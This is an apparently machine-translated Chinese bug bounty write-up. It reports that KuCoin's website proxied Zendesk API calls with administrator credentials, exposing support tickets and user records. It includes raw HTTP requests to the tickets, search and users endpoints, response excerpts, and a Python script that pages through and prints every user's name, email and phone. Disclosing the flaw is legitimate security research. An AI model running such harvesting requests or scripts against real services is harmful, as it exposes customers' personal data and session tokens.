近期,KuCoin加密货币交易平台在一个名为HackenProof的漏洞赏金平台上,宣布提供高达100万美元的赏金。
黑客小黑在对KuCoin进行探索时,发现了一个重要的问题:KuCoin似乎在使用Zendesk API进行反向代理。
在进一步的探索中,黑客小黑发现KuCoin的Zendesk API可以访问所有Zendesk的API请求,包括敏感的用户信息。
例如,他可以访问Zendesk的票据端点,列出和搜索支持票据。更令人震惊的是,他还可以通过搜索.json端点搜索票据,这其中包括会话令牌。
更糟糕的是,黑客小黑发现他甚至可以通过GET请求获取所有用户的信息,包括他们的姓名、电子邮件、电话号码等。
Zendesk API的分页功能使得这一切变得更加简单。作者编写了一个Python脚本,可以获取所有Zendesk用户的信息,并将其导出。
总的来说,小黑发现KuCoin的Zendesk API存在严重的安全漏洞,任何人都可以利用这个漏洞获取大量的敏感用户信息。
这个发现可能会让小黑获得高达100万美元的赏金。
漏洞复现步骤:
1.通过 Burp Suite 代理我的浏览器流量。
2.单击 Web 应用程序并了解其功能。
3.分析 Burp Suite 中记录的 HTTP 请求。
我开始代理我的流量 Burp Suite。已注册库币账户。单击通过该网站。
过了一会儿,我开始挖掘 Burp Suite 中记录的 HTTP 请求。
没有什么立即引起我的注意,直到我发现以下内容:
GET /_api/zendesk/api/v2/help_center/en-us/articles/6545352890265.json HTTP/2
Host: www.kucoin.com
Connection: close
Zendesk 是一个客户服务平台,允许企业管理客户支持问题。
此请求中有两个对 API 的引用:/_api/zendesk和/api/v2/。
返回包证实了我的怀疑,这是 Zendesk API 的反向代理
{ "data": { "article": { "id": 6545352890265, "url": "https://kucoin.zendesk.com/api/v2/help_center/en-us/articles/6545352890265.json", "html_url": "https://kucoin.zendesk.com/hc/en-us/articles/6545352890265-Change-Login-Password", "author_id": 903637920486, "comments_disabled": true, "draft": false, "promoted": false, "position": 0, "vote_sum": 1, "vote_count": 3, "section_id": 6632289240345, "created_at": "2022-05-12T12:33:28Z", "updated_at": "2023-02-07T04:08:29Z", "name": "Change Login Password", "title": "Change Login Password", "source_locale": "en-us", "locale": "en-us", "outdated": false, "outdated_locales": [], "edited_at": "2022-06-08T14:37:58Z", "user_segment_id": null, "permission_group_id": 830894, "content_tag_ids": [], "label_names": [], "body": "<table class=\"wrapped confluenceTable\">\n<tbody>\n<tr>\n<td class=\"confluenceTd\">1. Can't Receive Email/SMS Verification Code</td>\n</tr>\n<tr>\n<td class=\"confluenceTd\">\n<a class=\"external-link\" href=\"https://support.kucoin.plus/hc/en-us/articles/360015206853-Cannot-Receive-Email-Code-SMS-message\" rel=\"nofollow\">https://support.kucoin.plus/hc/en-us/articles/360015206853-Cannot-Receive-Email-Code-SMS-message</a><br>Please check the messages in your frequently used phone number or email that you may have used for registration. There shall be an notification when you complete the registration. Then use the correct account to reset password.</td>\n</tr>\n<tr>\n<td class=\"confluenceTd\">2. Still Unable to Log in After Resetting the Login Password</td>\n</tr>\n<tr>\n<td class=\"confluenceTd\">Please retry after clearing the cache or switch the browser. If you're still unable to log in, please make sure you input it in the correct format; please exclude the country code, e.g., for +82 123456, enter '123456' only, or try to remove/add 0 before your phone number and try again.</td>\n</tr>\n</tbody>\n</table>" } }, "success": true}
"成功" : true }
但它会推动/_api/zendesk/api/v2/*
GET /_api/zendesk/api/v2/ HTTP/2
Host: www.kucoin.com
Connection: close
{ "data": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<head>\n <meta charset=\"utf-8\" />\n <!-- v22727 -->\n\n <title>The page you were looking for doesn't exist – KuCoin Help Center</title>\n\n \n\n <meta name=\"robots\" content=\"noindex, nofollow, noarchive, nosnippet\">\n\n <link rel=\"stylesheet\" href=\"//static.zdassets.com/hc/assets/application-4457e15fd2317df56adee04580b8726d.css\" media=\"all\" id=\"stylesheet\" />\n <link rel=\"stylesheet\" type=\"text/css\" href=\"//p25.zdassets.com/hc/theming_assets/2196095/360000017594/style.css?digest=9096602929177\">\n\n <link rel=\"icon\" type=\"image/x-icon\" href=\"//theme.zdassets.com/theme_assets/2196095/8ea3012f8759412bafaffd7d07248ed1e75d8afa.ico\" />\n\n <script>\nwindow.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;\nga('create', 'UA-46608064-13', 'auto');\nga('send', 'pageview');\n</script>\n<script async src='https://www.google-analytics.com/analytics.js'></script>\n\n \n\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"/>\n---SNIP---"}
我查看了API 文档并发现了以下内容:
您必须是经过验证的用户才能发出 API 请求。您可以使用您的电子邮件地址和密码、您的电子邮件地址和 API 令牌或 OAuth 访问令牌的基本身份验证对 API 进行授权。
所以…Zendesk API 要求您进行身份验证…KuCoin 正在代理对 Zendesk API 的任何请求…
我们可以只作为KuCoin的认证用户使用API吗?
Tickets
我点击了tickets端点,它允许您列出、搜索支持票证。
GET /_api/zendesk/api/v2/tickets.json HTTP/2
Host: www.kucoin.com
Connection: close
令我惊讶的是,确实如此。
HTTP/2 200 OKDate: Tue, 18 Apr 2023 17:12:51 GMTContent-Type: application/json-- snip -- { "data": { "tickets": [{ "url": "https://kucoin.zendesk.com/api/v2/tickets/285403.json", "id": 285403, "external_id": null, "via": { "channel": "email", "source": { "from": { "address": "help@poloniexus.circle.com", "name": "Poloniex US" }, "to": { "name": "KuCoin", "address": "support@kucoin.com" }, "rel": null } },--- snip --- "next_page":"https://kucoin.zendesk.com/api/v2/tickets.json?page=2", "previous_page":null, "count":276479
Zendesk 中有 276479 个票证,其中包含敏感信息 - PII(附件中的 KYC 信息)、会话令牌、IP 地址、帐户信息等:
更有趣的是,有一个search.json端点可以让您搜索tickets。
其中包括会话令牌:
窃取用户信息:
GET /_api/zendesk/api/v2/users.json HTTP/2
Host: www.kucoin.com
Connection: close
它披露了每个用户的姓名、电子邮件、电话号码等。感谢 Zendesk API 支持分页!
这是一个例子:
BASE_URL = 'https://www.kucoin.com/_api/zendesk/api/v2/' def get_all_zendesk_users(dump=False): page = BASE_URL + "/users.json" while True: r = requests.get(page) dat = r.json().get('data') users = dat.get('users') for u in users: print(f"{u['name']}, {u['email']}, {u['phone']}, {u['role']}") if dump: if dat.get('next_page') is None: break parsed_url = urlparse(dat.get('next_page')) query_params = parse_qs(parsed_url.query) page = query_params.get('page', [None])[0] page = f"{BASE_URL}/users.json?page={page}" else: breakget_all_zendesk_users(dump=True)
我测试了一小部分用户样本来证明对kucoin的重要性。
长话短说:您可以使用 Zendesk API 文档中指定的任何端点:https://developer.zendesk.com/api-reference/
作为 KuCoin 的管理员用户。
这是因为通过管理员身份验证https://kucoin.com/_api/zendesk/api/v2
反向代理到https://kucoin.zendesk.com/api/v2/